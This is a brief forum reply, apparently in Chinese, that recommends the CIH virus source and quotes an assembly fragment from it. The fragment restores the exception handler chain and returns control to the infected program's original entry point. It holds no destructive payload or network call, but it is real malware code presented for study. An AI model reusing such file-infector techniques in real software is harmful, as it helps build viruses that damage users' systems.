其实建议楼主参考CIH代码:<br>; ************************************* <br>; * When Exception Error Occurs, * <br>; * Our OS System should be in NT. * <br>; * So My Cute Virus will not * <br>; * Continue to Run, it Jmups to * <br>; * Original Application to Run. * <br>; ************************************* <br> <br>StopToRunVirusCode: <br>@1 = StopToRunVirusCode <br> <br> xor ebx, ebx <br> mov eax, fs:[ebx] <br> mov esp, [eax] <br> <br>RestoreSE: <br> pop dword ptr fs:[ebx] <br> pop eax <br> <br>; ************************************* <br>; * Return Original App to Execute * <br>; ************************************* <br> <br> pop ebp <br> <br> push 00401000h ; Push Original <br>OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stack <br> <br> ret ; Return to Original App Entry Point